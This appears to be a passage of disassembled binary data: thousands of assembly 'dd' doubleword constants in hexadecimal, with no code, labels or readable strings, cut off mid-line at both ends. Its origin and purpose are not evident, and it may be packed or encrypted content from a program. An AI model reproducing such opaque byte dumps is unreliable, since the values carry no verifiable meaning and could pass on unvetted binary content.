0E6512519h, 0D87AE9E8h, 0A4D2A128h, 0E58FB103h, 0A069D0BDh dd 0CBA7C8h, 0EA47C2B4h, 1DBEFA63h, 0A08CC100h, 0D7C5E23h dd 0A3FC8Fh, 0DB2A87C7h, 0A4583E9Bh, 6D157401h, 0B96394D9h dd 1C7D89F8h, 402CA27Fh, 9EEEBAB3h, 1E1DD712h, 91008FCDh dd 3FF85F65h, 0F81004Dh, 0EB672B51h, 0F700826Bh, 4197C4DFh dd 7AB1223h, 4914586Fh, 0F52CF077h, 8100BA56h, 73BD0AAAh dd 1FD9A023h, 0C0A88D4Ch, 8B95D692h, 11764EA3h, 0EF77FE0Eh dd 4A83C16Dh, 0BDEDD2AAh, 0EB13AF8h, 445C355Dh, 0A0B84300h dd 0F600396Fh, 62401CE9h, 0C0B965EAh, 5741D210h, 0DC0151E7h dd 2C1FBB7h, 3AF021E4h, 7CCF00D4h, 481EC2F6h, 0D0000D8Bh dd 15EFFA89h, 9774EDh, 92D12317h, 57272ACCh, 9B2D1B00h dd 0BBB2E41h, 0C45A6075h, 0FD288602h, 11134C00h, 73B9392h dd 48517F0Eh, 5A00982Fh, 42AC57C8h, 0DE73B4BAh, 0BC00177Fh dd 96C58EC9h, 0E86EFAh, 0EEC09B24h, 8823D154h, 91122C00h dd 59630394h, 8710006Dh, 0D2BC4F6Ch, 0FF01442Fh, 5E1E1653h dd 1DD82955h, 0A8F2E0h, 4DF0A434h, 0BB08DC8Ch, 50438900h dd 153C37FDh, 0CA600A1h, 0F164546Eh, 4B00C87Bh, 0E551382h dd 1355AE4h, 6FB52EE3h, 0C0D82FB2h, 0B170938Eh, 72F97402h dd 40988DD5h, 540722h, 7F7C4857h, 20863D12h, 2F01AE72h dd 4E2D56E9h, 2EE4C6EAh, 67FE21h, 0FA864FAh, 79BCDD3Fh dd 0BC3B093Bh, 12E38035h, 0C9488FBh, 0B3800029h, 0B66CDCEFh dd 0F30022D7h, 0A6BAF7C1h, 5C83BBh, 43B8793Fh, 59AF0D0h dd 0DC288100h, 66861E04h, 91300051h, 0B498B0DBh, 0FA0324E6h dd 92C658FCh, 0B8E4EB8Bh, 0D05D17h, 9FC87ACBh, 89ACB741h dd 45A8E300h, 0D608FC27h, 1E21E6C6h, 4E5A3664h, 4BC0224Ch dd 3F54A366h, 4ADF8400h, 3D421743h, 3110F32h, 0F9E4E0BBh dd 0B4C0EB7Eh, 0F49059Bh, 0F84F0C28h, 80BB1A20h, 8A17C33Fh dd 0AE004279h, 0C181EA73h, 679048h, 56B02EB1h, 0ABA50935h dd 3CEF1600h, 73760221h, 4C110E7Dh, 42BF2F14h, 0DF4A1007h dd 52F4405Dh, 0FB5A01DCh, 6B63BC9Bh, 92C5F85Ch, 446760Fh dd 7B21800Fh, 9E85B0h, 31BC2BD6h, 0AEF1E34Fh, 9DDA0B00h dd 5EEA0E89h, 0F2487449h, 0DEE0087h, 0C6612D0Fh, 1707B6C2h dd 0FDCC4329h, 0C02F80FFh, 2E4DEB45h, 0E919B2h, 477AE7D0h dd 239C9ACh, 0E2EF1DE9h, 2FC6F480h, 1BE673Fh, 49C5275Bh dd 0C03C8E96h, 0F40FA10Fh, 0A053DE2Ch, 89AE7FFAh, 0B25600E1h dd 0AF457EE7h, 81007828h, 80E294A4h, 1DFF9Ch, 1127046Dh dd 6F5905Ah, 8E0003F4h, 535C56C3h, 2DFDB1h, 8AE1C186h dd 0B2B64522h, 85A37C00h, 95FF59C5h, 1821DB3h, 713C5B7h dd 6A870304h, 3BA02FF2h, 1C0066C8h, 1085692Ah, 2E7BCAh dd 3CA67522h, 39188435h, 804B1A3Ch, 0FDE1E981h, 3B515254h dd 5300BC09h, 7F4A5029h, 7C00FAD2h, 5E95ADB5h, 24CBA293h dd 36E4C63h, 0DF751182h, 0F87896B0h, 0EA61A900h, 60336457h dd 13170083h, 0FDC1FAD0h, 0CAFCBDD1h, 9ED6220Eh, 0F7264154h dd 4AC8D38Ah, 460B1D0Ah, 0A017C2h, 0EE829514h, 3C005A76h dd 74E98C32h, 6B7C38h, 0BD2E0106h, 4E306D14h, 83265100h dd 2135E2ACh, 49091789h, 0DDE30092h, 0A3FF6EA0h, 80266B38h dd 0C57706E6h, 3A8D2382h, 6C84BBD3h, 0C1143139h, 80FCE00Ah dd 886B3DCEh, 9BC929Ch, 6D87AE47h, 0DD264580h, 0E8003964h dd 10624EA1h, 5721E40h, 0FCA4BD9Dh, 2DE7826Bh, 5080A189h dd 0B2B005A8h, 5971CC1Eh, 0D507B642h, 2434C04Eh, 16012E63h dd 0B8420BD6h, 21724380h, 0E377F711h, 453BA5FAh, 0A9C9806Ch dd 8EE21A0Ch, 41B900F9h, 4CAE448Ah, 0A600677Eh, 0CE9A526Bh dd 0A1480h, 444A9396h, 0F534B6D1h, 58175301h, 0AAB42177h dd 0D4F4EFE1h, 7AB189Ch, 0DB980492h, 17A1B700h, 33632AEBh dd 0C5D70014h, 0B3F24ADAh, 78006DFCh, 1D8E7310h, 252801A1h dd 7F5C75ABh, 3DA00B00h, 0A74436h, 60F7CEA6h, 28D3225Fh dd 0F86DDB00h, 9D8279A1h, 3772000Dh, 690B86DDh, 2C1C4645h dd 0C880A356h, 0D8C6B9CEh, 0A96E0E36h, 0E360A46Ah, 0EEC17A2Ah dd 8044433Bh, 13653D6Bh, 0E0CADA3h, 8A895E32h, 95ACC61h dd 9EB2E8D9h, 8E242900h, 9CA85905h, 82D748C8h, 74822800h dd 0E99160C7h, 38B0F00h, 381DAE5Bh, 708079Ch, 0E00DAAD8h dd 145F0CCEh, 0CF7C6B05h, 30C0A3FDh, 0B884122Dh, 3D9C0015h dd 201DB2BCh, 0C001EEE3h, 5D625ACEh, 98407579h, 504774h dd 0B6938083h, 4205C0BEh, 3E0AE100h, 82453960h, 63A171Bh dd 740F0094h, 1824E040h, 22C14D00h, 0CBE1A6Fh, 246F88Bh dd 0E32A757Fh, 0B783A234h, 71E07365h, 4C72B828h, 0D9C33C09h dd 0A55880B3h, 1C377A17h, 83032F81h, 0BB5D5F3Ah, 397C0CE8h dd 0BC9EF100h, 3FB8E8DBh, 48E40021h, 3B362EA9h, 90005C4Dh dd 0D8671B89h, 385F986h, 9D609EECh, 0A3F88C33h, 13003A25h dd 0CCB77629h, 7C448DEh, 9FDB2DB5h, 62EAE095h, 3F3AD5A5h dd 0DA75876Bh, 7F90068Eh, 1C9F67BDh, 0C08D8A40h, 0EFA45189h dd 82C770Fh, 2A0370A5h, 0B0D8B6AAh, 38873FF5h, 9804D522h dd 0EE142891h, 41E37D00h, 53BCE1h, 452DE4DAh, 0D1395E5Bh dd 0A7226A00h, 7B052790h, 0FF800F69h, 0A14004E2h, 0CC9D8899h dd 0CD44D803h, 87247EF4h, 0C7C00865h, 1C1E8EC1h, 805570DFh dd 28205F7Ah, 4600B73Bh, 0A380238Bh, 1F117FEh, 1A182D2Ch dd 605B05F8h, 3D000FECh, 3F62DC33h, 50F409h, 11487393h dd 7ED32712h, 0F5B96B3Ch, 26C00200h, 0DB294B66h, 36739Dh dd 0B4F9B10Bh, 8A88C11h, 0BE0CB000h, 78F4D376h, 0C2F0074Ch dd 0F0442EB9h, 0BC80B6ADh, 0A64D5400h, 0C86758B2h, 30BE09Eh dd 6F841B9Fh, 97E9920Fh, 9A20F488h, 80F7D43Bh, 318E71B9h dd 434F78h, 46F45BD8h, 0EF9F8AA8h, 0CF513800h, 888765DFh dd 11E91D92h, 0E43F8054h, 23D450F2h, 82B1301Fh, 0D64FF083h dd 0F5A8D9B8h, 0E7655F4h, 19457814h, 66D4C40h, 6300C827h dd 264015F4h, 9DD497h, 0FA3413E7h, 585CB49Ah, 429FB900h dd 0B6E1375Bh, 81320FD4h, 805DC488h, 0DE763871h, 94007FBAh dd 4DD2651Fh, 0E22692Dh, 0F2C21347h, 7CCB25A0h, 9D01EDEAh dd 0D95F8F2Fh, 59C93586h, 0A81F60h, 8C632816h, 0FA0AD249h dd 0C6483130h, 0F93538h dd 91DEF1AAh, 4FFB4CE2h, 0C8CA3Ah, 2FC7C15Bh, 0D48429h dd 0F4DCA59Bh, 33BA4D9h, 97B3FD00h, 23CA7DE0h, 57E20Fh dd 8818480Ah, 4BDA3C37h, 0C03257Eh, 0FEC8606h, 0FFDEB853h dd 6EA20975h, 6080BD23h, 62C92BC2h, 5E04950Fh, 0A727A015h dd 244FC553h, 0B3592Eh, 0B2C0C787h, 0E900FD7Ah, 607FE2BBh dd 0FF8BD35h, 12848BDCh, 0D899D5E0h, 0D407C771h, 7DECCC86h dd 0A40CF40h, 533300F1h, 6A2AAB2h, 1E0F754Ch, 0DE31FDh dd 0A8129883h, 0E3260003h, 0BB840DFBh, 74095AA4h, 8E6E563Ah dd 8C1F8357h, 76600778h, 0BF8194B6h, 0ECDF3740h, 310F5408h dd 7D9A9BF9h, 0A2D06980h, 153226h, 40A0CF6Bh, 866362DAh dd 8E350F0Eh, 0E60560F4h, 3AD19F0h, 47905D73h, 14D044EDh dd 91EDECEh, 17C79A81h, 0E070FFE2h, 0D3A2B2h, 0FB46EAF7h dd 8F34BA3Dh, 0F8E98E02h, 7748372Fh, 0C081AB84h, 0CA2AF06h dd 0C3C9AD00h, 0BDBF1A6Dh, 69720703h, 50B93CEFh, 1E7F983Ah dd 7F7D2D58h, 569A4000h, 50719C9Eh, 0BB7D5Fh, 0D0096F9Dh dd 0F110BEEEh, 16724600h, 0A32106E9h, 4C310061h, 5D99D67Fh dd 8301893Bh, 0EF5AF6C1h, 877EEBC3h, 7406C019h, 70B0CD09h dd 891DDC00h, 2D133378h, 0FC6B00A5h, 653355Ch, 0C3005D36h dd 58FD2C14h, 28ECB8DEh, 0FE4C8F9h, 231A5B79h, 1223EB6Fh dd 0D0809FF3h, 6100C69Ch, 0FD504013h, 0CC606Bh, 63441C2h dd 0E4260762h, 28002CECh, 827CD615h, 0D78F0Dh, 6368CA55h dd 4183F116h, 0B81CF700h, 0CDCB853Dh, 0E4B50049h, 0E3D65AD7h dd 0F400BA88h, 0CE0239C8h, 71A2911h, 0E049454Eh, 631FE382h dd 0C0E4BDC9h, 0EB0E0523h, 20BF7458h, 0F4F39913h, 0AD87001Fh dd 9BB2CC34h, 6A008415h, 0FAB96664h, 2F1946h, 1F02FD4Bh dd 0C4D0F30Ch, 32EA2400h, 809372F9h, 74800B6h, 0E1B8D73Fh dd 8D090D4Ah, 0C2233Ah, 49860EFCh, 504B0019h, 994A62A6h dd 1500662Bh, 65E74E6Ah, 0E4CC0Fh, 605DF70Ch, 0C7B7D97Ch dd 6A993Dh, 0B5362780h, 0E0DBE628h, 7E1B00C3h, 1181574Ah dd 9A0305A7h, 0CE592A45h, 0B36FD843h, 0F33700A1h, 0F80E659Ch dd 0F71F8D85h, 0FB41536Ch, 9EBFEB1Dh, 6E3062F9h, 67F46Bh dd 0CA77A1F4h, 73844606h, 9EA6E300h, 32F93EC8h, 241707D4h dd 901BBF26h, 0F575C007h, 6154100h, 2A485376h, 36990030h dd 529A7B26h, 0F1005773h, 14910642h, 3879B180h, 0E2803904h dd 48A1336Eh, 0E3002DDBh, 3D978356h, 0E69193D5h, 0F26F7FA5h dd 0FD270068h, 493E5437h, 0F93D02FBh, 7C010AF2h, 19008803h dd 265236BAh, 790500B7h, 4F9094FCh, 0E002B87h, 383087Ah dd 724C0950h, 0B3A90019h, 0B66B560h, 0B100FF75h, 0F04F9B43h dd 0B9FD02h, 0B8053869h, 0D5AF44A9h, 3AA84E09h, 818F8FC8h dd 169271E7h, 1DA1C1F8h, 40D0E9BFh, 33D3A59h, 6C00B647h dd 8CFA2A1Fh, 0A1F2ACh, 921A6E17h, 0CD3BAF58h, 4E50151Eh dd 4DF3DCC0h, 280F894h, 71F5420Fh, 1DC0A9C8h, 8C00CA72h dd 0F0D788F2h, 7A7AF68h, 9B2334FBh, 8275A5EBh, 5361823Dh dd 81268038h, 9D27ACA1h, 68C0000Eh, 0CDCAB9CEh, 60000D89h dd 799B995Bh, 601B9AFFh, 0CBC1E26h, 63001C0Bh, 22589D8Ah dd 0F44FB0C8h, 0D2E30088h, 97EFC635h, 31135643h, 3C010463h dd 0F0A2B886h, 0EBD9FD0h, 0F95E9A2Bh, 0D597E9A0h, 6F07216Dh dd 0C9076C7Ah, 0D0991820h, 5C175C58h, 2DD93700h, 2AE0B2AAh dd 1F27A900h, 620F10A1h, 8C7B1C6Bh, 44780086h, 0DF8FD0D4h dd 2200FA98h, 0C789A648h, 10A9B1Bh, 8C3DAEFBh, 0F4CB0E23h dd 393B69E6h, 8542002Ah, 0AF30C9BFh, 0F68800EEh, 0ECCAC696h dd 2F0E1101h, 0FF0A3358h, 0FB2B17C1h, 0FCE9D706h, 9C482E1h dd 3B6E0E12h, 0DFC36323h, 20887680h, 300D98Bh, 46131079h dd 3A7990Eh, 0CC81ABCAh, 0FDA8B06Eh, 4701E157h, 9E427A3Eh dd 0C6308BB1h, 3011307h, 194E0937h, 1AB2C300h, 6E07AF2Fh dd 4EAC962Eh, 0AB855F40h, 87583A62h, 0D590F6h, 74077D56h dd 9FAA3A6Dh, 0C5077E74h, 0E267FD5Ah, 99395C40h, 0CE7B3C82h dd 0EDA0200h, 8DA8BA6Ch, 0DEC37C00h, 792BB5E5h, 2847001Ah dd 0BCE29BBDh, 0A305EA65h, 0D4525894h, 9F857AC0h, 7E790012h dd 87814D5Fh, 29E2264Fh, 0E400DAE2h, 5878941Ch, 0B0E0F17Dh dd 75FA003Ah, 0A649F7A8h, 2603D71Ah, 0BEA143A2h, 0EA27C032h dd 0F70A00FEh, 759EA518h, 0A200A0C7h, 0FC911C67h, 8A4E82h dd 2F3A867Ch, 875B702Eh, 2400487Eh, 2A9D6EEh, 623390h dd 2A0D6011h, 49D9E39h, 485FCB02h, 0C0E93596h, 244FAB2Eh dd 537F231h, 80A03069h, 28666E44h, 62951600h, 89ED2F38h dd 0E652F86Bh, 9F3107B9h, 0F36E8510h, 0B8F255C8h, 45893E0h dd 0DB7E7707h, 6D700584h, 26AB87h, 9AED3E33h, 50FA5A7Bh dd 0E2A2B600h, 3BF24A25h, 8DB90036h, 60D6B807h, 0FE008320h dd 0D876517Eh, 7FD710h, 5D21B1D3h, 0B95C4F74h, 7684D00h dd 3AD447A2h, 0A0640016h, 2B4EE155h, 0AE00352Ah, 0A7EAA6CFh dd 134AAA4h, 166B4A3Fh, 70EBFEEEh, 0E009C12h, 0B8D351DBh dd 2B21E8h, 327F8254h, 7DADEC98h, 6E3FA37Ch, 0D5859355h dd 615FDF1Fh, 0C35F8B40h, 0B9B390h, 0A4AE9528h, 9FE37681h dd 5B35A603h, 0A8F15C66h, 0E061FFAFh, 0B3E08Ch, 453E4B12h dd 0C567D0CDh, 1E008FE4h, 0D7EF3187h, 3BA7Ch, 52557B06h dd 0A0BE9DB7h, 3F74A53Ch, 0B4768082h, 7F048B72h, 0E9F83CFFh dd 0E00FE3Bh, 886AABB8h, 0DD0E21D1h, 0A05777D9h, 6C05F3B2h dd 0E4CB002Bh, 55B938FEh, 600B39Ch, 9F7E3742h, 140185h dd 0E2628A23h, 52B613D5h, 0CCBD1900h, 0B28E48C9h, 7093006Bh dd 4BED53E5h, 6A004926h, 8C2C3C7Ah, 0E7219FDh, 25AC943Fh dd 51C0972Eh, 0C622BC5h, 0EA21026h, 1AB60200h, 0D0AF08h dd 0AB71F9E8h, 0B27E46C6h, 6A96BF13h, 9C60D607h, 4950CD00h dd 25DB00B0h, 6329622Eh, 0A2003124h, 0C2E7CF12h, 0EE4A01Ch dd 78D9D66Fh, 0C0338645h, 0FF749F1Dh, 710072EEh, 793C6C3Bh dd 7B3681h, 56BE93A7h, 0E5ADFFC6h, 0C52EB600h, 66F44DFBh dd 862800EFh, 0AE573B2Fh, 4B00A2EBh, 68D35E38h, 351971Ah dd 0A433D14Dh, 7DC8F53Dh, 70038DC5h, 6321B685h, 0BE36801Bh dd 90763E7Eh, 2514A680h, 91EFD3C2h, 0CC31E800h, 522F3C44h dd 0D6C09DF8h, 1B1DFDEEh, 0A6807BB2h, 0E2182028h, 61723924h dd 0E088C403h, 58981A14h, 9000B241h, 3643213Eh, 0FA0AD8h dd 93420115h, 0EF9D40A9h, 0B900C578h, 52A77C19h, 123B80h dd 4AC01FDDh, 0F01ADA16h, 0ECC86700h, 70BBE71Bh, 0F7210036h dd 359D9404h, 22002C9Ch, 7A3748Ch, 50D14h, 1EF4FBB2h, 969BEBFFh dd 43D8491Ch, 2B2E2440h, 99A668h, 0DFE63676h, 0B7BF18A8h dd 73613500h, 0E149B207h, 0C9C54887h, 0C0AF4B1Eh, 31FA5306h dd 0F90048D5h, 0AD820E12h, 2BD99Ah, 0BE61A3E3h, 50DB01EBh dd 4592000h, 0F277F76h, 0C767015Bh, 0C49E0544h, 0E1BEC81Ah dd 8714151Dh, 294362C0h, 853888h, 0F9259B08h, 0C6453301h dd 91034C73h, 0F14F5DFDh, 78CE9019h, 0D0DF00C2h, 8718D52Dh dd 440376C6h, 2EFBC759h, 8E3BA8B2h, 53AD0029h, 4C936526h dd 52EC420h, 0BE00B45Dh, 4FB16CAAh, 260E0098h, 0A928E473h dd 0AF3BCAFAh, 2BD80D2h, 65434C0h, 93264C92h, 29812003h dd 7FA87D60h dd 83006287h, 921E142Ch, 3978FF01h, 43013294h, 429C4718h dd 5AF9C8ECh, 0D98E200h, 55B304E7h, 0F81B00B0h, 82167A4h dd 0A07A315h, 63C2B479h, 8576C871h, 221AE4h, 0EE1D6533h dd 62E32455h, 0D5F9B600h, 6746B3A7h, 51D20340h, 0A158C13Dh dd 15CB22A0h, 0E349E401h, 3E6B8A91h, 2EEDDDF4h, 3047613h dd 5B9A9D2Bh, 0B25A65D0h, 94B1A100h, 26C26B07h, 0CC8E0067h dd 3BDDCB03h, 974CAF9Fh, 63F073ADh, 0CF64FD00h, 0A9589EF0h dd 0A8353EADh, 4A89BF00h, 0AAC10A2Eh, 9FF2E700h, 3FEF8C82h dd 0EB9D001Fh, 5B4DBDB3h, 0F700068Fh, 433B27FFh, 0FA6F0AFh dd 113F7832h, 93CE560h, 391C7A74h, 0F7C01C87h, 225D5EF6h dd 8DC403FCh, 0A9637C11h, 416176B8h, 5F753600h, 0F29FBD5Dh dd 71CF1FCBh, 40B7001Dh, 61B1F7E2h, 5B1E3577h, 9740E0FBh dd 0F0BCA959h, 0D54A00C8h, 2428AD52h, 76729F47h, 0DFD6AE00h dd 6DA3C6D7h, 62840083h, 21A4B718h, 780E5294h, 209719ADh dd 1DFD4569h, 0D04C0034h, 52980557h, 101F0AD6h, 4B87239Bh dd 0C20B7B0h, 980BBB8Dh, 367403h, 0ECC7FAC9h, 87D2FE52h dd 3E0DC400h, 0DA78751Ch, 0B90C07EEh, 0C0F62354h, 7F492508h dd 0C7CAD500h, 4CD0751Fh, 9597A8Ah, 9784CB43h, 7E74BB83h dd 3738D4E0h, 69E82B00h, 627D9B19h, 225800DBh, 76901ED9h dd 0DE006517h, 47989127h, 16754FD2h, 377C28Ah, 856F4DF8h dd 0DAE0ECD3h, 6E003CC9h, 7BD9B40Dh, 0A7C074h, 5AFF435Ch dd 930A0207h, 0B33998F4h, 6536835Eh, 0B8BAF004h, 0CD77B5h dd 0EA7FD6CBh, 0F86488C6h, 20624D01h, 0A89B4630h, 120F5920h dd 7277FCh, 841242C1h, 0AF006E5Ch, 0A681030Ah, 751310CBh dd 198700EDh, 0A2F88F2Dh, 0E042B6Eh, 0EC30DC3Ah, 5C1D02C0h dd 1EE701A7h, 0CA782D7Dh, 3105CC5Eh, 2EB3F000h, 29D7AC67h dd 0EAEF0040h, 75A6BAFBh, 0F0045F7h, 0C0C7349Eh, 35B61Bh dd 0E638200Dh, 62C1014Bh, 4CDA3203h, 0F07A39CAh, 9063D8A0h dd 0BAD00077h, 0A8E87809h, 42054EA2h, 0E1EEB37Bh, 0FFD7FAC0h dd 0ED00054h, 1D7F6668h, 207A8892h, 0C5E62403h, 0F0AD5864h dd 0E97C31h, 5742612Dh, 745CDE75h, 1CEC1600h, 0B5358EBEh dd 0AE9D3A53h, 2FABF180h, 0A576E1FBh, 56394D0Eh, 4EA18006h dd 122460C2h, 0AECE49A4h, 4C47CE00h, 9BC4BBh, 917D2AF3h dd 88C0C279h, 809F183Ah, 5B709672h, 123B512Fh, 0BC0C5D74h dd 8FC00F3h, 98EC4ADCh, 605A00F1h, 0BC6E636Ch, 18008CA4h dd 1D9A3D7Bh, 0C76D22h, 3E3A0876h, 7D6FB0EAh, 0E38BD800h dd 9D1021C5h, 82270F31h, 0E4A07B5Fh, 0D259F84Fh, 6F6FC07h dd 560058BAh, 1F9C74ECh, 0C24A3DE8h, 268C5DDAh, 0B84F240h dd 0E3FF4600h, 0B30FEAF0h, 35290089h, 33EEC6ADh, 0B79068A3h dd 216DF00h, 0C2D4AE6Fh, 11E8004Bh, 0BA7ACC6Dh, 0A80118B1h dd 4C598613h, 81EC41F4h, 7B940EF5h, 79E057B6h, 307EA2F7h dd 783DE200h, 0CC3CEFE4h, 0C9904Bh, 5461CDDEh, 0D0EE342Dh dd 89A38107h, 0C2D1F4A8h, 28C82FE0h, 2AE2E18h, 0AC4400A7h dd 4C988974h, 0BD022AEEh, 0B6529217h, 55C0E1A9h, 98865CF8h dd 7A210934h, 4401FF9Fh, 0E4BF4819h, 0D11F82A0h, 91C03731h dd 0EEE1D2F3h, 0A898003Ah, 57BAF606h, 0DE00271Fh, 59BB8BC3h dd 61A9C6h, 18C141BCh, 0B7CE2940h, 0EF003076h, 59D60B75h dd 0DC4E03h, 284AF8F3h, 547EC6DBh, 5959700h, 96DA1AEEh dd 0C1B2035Ch, 0BDC929B0h, 6C9867D8h, 2098B9FCh, 0DED84200h dd 0B132B8DBh, 1C2F7F3Ah, 0EB8B5Ah, 5F880D4Fh, 720080A1h dd 0C37A091Ah, 0F077BCh, 4965F338h, 0C2E9A4FBh, 9231B800h dd 0BFCC3E5Bh, 0BD090028h, 0F89019F0h, 0FAE85DA3h, 0C32E1600h dd 10B1D7B0h, 0D2CA036Eh, 0DE7F89F7h, 0B5D01980h, 0DBDF6B00h dd 736711D8h, 76407F6Eh, 0ADF9005Ch, 0BD684FA4h, 0A1017622h dd 0A7C841Eh, 72046ACh, 0E8BF0135h, 0AFA636F3h, 27A2C049h dd 55453800h, 0E39ED91Eh, 128E73F8h, 0EF2E07h, 0B42B0A7h dd 49073473h, 1999F727h, 0F5BD36E1h, 0EFDA90D7h, 4DD6005Ch dd 0A90BC648h, 90009C4Eh, 34663A50h, 3992693Eh, 3006DA0h dd 73AC97AAh, 0B400D581h, 0F69F1C58h, 9B4AE8h, 21DF476h dd 3F879CB1h, 371D1E7Fh, 5740FE71h, 68E348A6h, 5F761CA0h dd 0EF428061h, 499C91Ah, 55916E00h, 955BD4B9h, 3B3F8F4h dd 0EE1CA286h, 0EC98BE6Bh, 84F0DA5Dh, 9CE51F00h, 0A10555E0h dd 0DD3500EDh, 28D0646Eh, 0D3003FC4h, 0F7C53B01h, 15E595Ch dd 0BA18FDD1h, 7B2434F3h, 2C7AB0C0h, 93230094h, 6C79A5F6h dd 6E0057D4h, 0AA60A3D6h, 0FF72C635h, 23C0D0h, 22AE247Eh dd 6CEFFDCh, 0C7E15Ch, 69A10301h, 1FC6E248h, 0C3A5587Dh dd 90BAD7CCh, 0DB0A8890h, 695DDD00h, 3E1F12BBh, 0B27EB5h dd 486D838h, 5A529DC4h, 0D0A38h, 0CE8FC03Dh, 4DE67Dh, 335F3E6Ch dd 878B9892h, 5357C500h, 0DD195230h, 0A14B0022h, 367DF35Ah dd 6F00F6D3h, 5078BC9Ch, 76172BBh, 0D26016Bh, 6300793Dh dd 290CA9F0h, 5688D601h, 0D21D048Eh, 37535D8h, 8FF3D982h dd 0FD90296Fh, 0F703C898h, 0ED5A14F9h, 809AC3E7h, 0F9F8Ah dd 5D32D76Fh, 7283CC6Bh, 96246700h, 14173151h, 0A35707DAh dd 0F020F7C4h, 109BB9E4h, 0BE727A1Eh, 0D1D30EC0h, 3103653Ah dd 143AE83Bh, 8B60F4A8h, 0C6FD0700h, 0F4F26E86h, 19572481h dd 0EEA700D8h, 1B1DB001h, 9FCA7B00h, 0A5382859h, 9DFC00D4h dd 94771A3Eh, 1B38729Eh, 7B0FF5FFh, 807A0E34h, 0F681C8C0h dd 0C57D07B0h, 0B0F2379Ch, 495F2461h, 7C643800h, 0E90993EAh dd 369A008Ah, 0C4C0F0CCh, 0DF005FECh, 0D441E3B9h, 2FDE2E5h dd 0F6126D3h, 0B540282Eh, 3BEE20A0h, 0A8112903h, 0F85CCF32h dd 1FAEB777h, 409BD183h, 70185222h, 9D1D3DD0h, 0FA80EC69h dd 25C4E3E4h, 0FEAF417h, 0B29C8FA4h, 8505407Eh, 0A10E82D9h dd 0F07EAD00h, 0D853709Fh, 0A7EAAFh, 330FC0B6h, 276695FDh dd 0A8B2E600h, 0BB516D16h, 170A00DEh, 361EC777h, 0A400D92Ch dd 0D659855Eh, 6C6A7Eh, 874CB750h, 0F8B12F28h, 2AFF707h dd 3D203311h, 730F973h, 6E3E41B8h, 94E3C092h, 18273F56h dd 35A28008h, 7FC3BB80h, 934700F3h, 0D8A66F05h, 65015892h dd 128F8922h, 0ECECBFB5h, 2377008Dh, 880B61C3h, 920E8CA9h dd 4396C9DFh, 0F09828AFh, 0DE7659h, 3F61E007h, 2491BBD5h dd 9ED8111Ch, 589CE8C0h, 10DC227h, 0FEA2367Eh, 0E01AC02Ch dd 0B600A819h, 0B59DE396h, 1C0146h, 6139E6E1h, 0E9FA6373h dd 8641CA0Bh, 0A3F50F1Eh, 0A059A524h, 0B64555h, 0E29F1404h dd 0AB5ED2F2h, 27011F00h, 0AFFA8E41h, 3B420009h, 0CAA79D86h dd 0D700F116h, 5D21EB93h, 0B18DE54h, 33E738DBh, 2ACF01DFh dd 0DAE81FF3h, 1DF077F2h, 4020C4CDh, 8D09BDF9h, 1F7379B8h dd 9D4C6407h, 21452B4Ah, 0E19F7180h, 0D6C10017h, 0B46FDB2Fh dd 0C603065Dh, 0F88A8092h, 40EFF0C2h, 31FF4C63h, 32885700h dd 0C509FC8h, 0C0A23D00h, 4BF15C28h, 53FD0041h, 0E64714A6h dd 5400270Eh, 1519FCB5h, 0F7DD2Dh, 6C43C039h, 5A9B95BEh dd 988ED200h, 0A3E4E65Bh, 7BCE00F4h, 3C1055F9h, 8D0075E2h dd 5059ADC1h, 43F5D8h, 0E9526202h, 0DC9F0BF6h, 4DD45100h dd 253FB4D6h, 67B81F1Ch, 5698070Dh, 82B567E9h, 740D2CEh dd 0FE00255Eh dd 2978D052h, 27AFF0h, 2D8266D1h, 0CC1C88DAh, 80FD643Fh dd 0B2811279h, 7B1F0542h, 0D8E71C8Eh, 83A4400Bh, 7790ECF1h dd 2680D600h, 6E1E9E2Eh, 3DC0166h, 0A00C3CCEh, 0C525D8B4h dd 80064C39h, 0E05E7E49h, 5066E2h, 8A33650Bh, 0FDC6B4DFh dd 0CFDD7C00h, 5E96AD06h, 6EA20548h, 0C08F6657h, 60411E1Ch dd 0F8368100h, 29467D75h, 2FF93D95h, 4C45FA80h, 0B491AF41h dd 0AB0F0900h, 0E08CD857h, 163800D0h, 85C20292h, 0D77C82A3h dd 0DDAF0500h, 920405Ah, 0C8C84874h, 0B7E17A0Eh, 63B1C47Eh dd 8462C072h, 0B858E782h, 80D43C48h, 1D4F2E29h, 0F659DFAh dd 53CB928h, 0DABAEE20h, 9E00B353h, 0FABD3BBBh, 2E42C295h dd 37C5AFh, 0A768C67Eh, 2000E43Ah, 1F41ED2h, 481467h, 0F53BE565h dd 95A77503h, 34BEEA00h, 8DD6011h, 39E4C25Ch, 3C427F93h dd 8DF7EE80h, 0C07BED0h, 0EE5B6CA6h, 2103FFC0h, 0BC3E002Dh dd 45C96470h, 61007E95h, 1B066EE8h, 5EC50Bh, 0C12E3730h dd 0B6C39A3Dh, 0C9C85901h, 47FC4BA6h, 1E04BDE4h, 0C046984Dh dd 9E6A0E88h, 733CA627h, 2C7787EFh, 6080694Eh, 0CBFCB7h dd 2A0785E6h, 7AE838E2h, 0CA8A3Ch, 0C33ECE84h, 0A4606Dh dd 0C90E9344h, 0FCB3CF52h, 54D57401h, 0C7E0C2C5h, 0E13719F0h dd 2E99FCh, 0FF9B87DAh, 67777308h, 58F92605h, 8EC07495h dd 1384A16Dh, 0F7CACF0h, 0D420FB6Ch, 0D5BD1226h, 9CF42700h dd 0BF9BA808h, 0EC1D005Ah, 81A64583h, 1800851Eh, 0CB1FD2A4h dd 370589h, 32B8B986h, 0E01E5D6h, 432A8C00h, 84A4AAB0h dd 0D01300F9h, 93651A21h, 4B00490Dh, 51DFE244h, 0D803AAh dd 4D6DCEACh, 4C7205C4h, 8E773Dh, 671F5581h, 5C2548F8h dd 84006866h, 0C0852DB9h, 10722F83h, 376C911Dh, 1B438147h dd 0C0C1ACD3h, 38CEDC8Dh, 0D0809F4Ah, 9E75642Eh, 0C5005DE9h dd 39A81D73h, 607CB34Dh, 0A6DD9445h, 0CA5CCD3Fh, 0AF720052h dd 77E687B1h, 0C25303B6h, 0E207518Eh, 9001D9B0h, 0DD77D00h dd 0A52A6B5Bh, 699C00ECh, 2FEF8551h, 0B1039904h, 1B4224AEh dd 18C0E588h, 1C11870Eh, 40B4B7BEh, 0C6382F93h, 160061E4h dd 0B586EFE3h, 3039C24h, 325542B8h, 0C48850B2h, 413DF970h dd 0C075802Ch, 0B1C22E09h, 0D95F0BB6h, 9C801FFEh, 0D03281FBh dd 3BC77A00h, 0DEE6ABFh, 57580043h, 24BF5F2h, 0F12F8A66h dd 0E42B581Bh, 0D9EC004Eh, 8554E179h, 19005EE0h, 0A6FF0676h dd 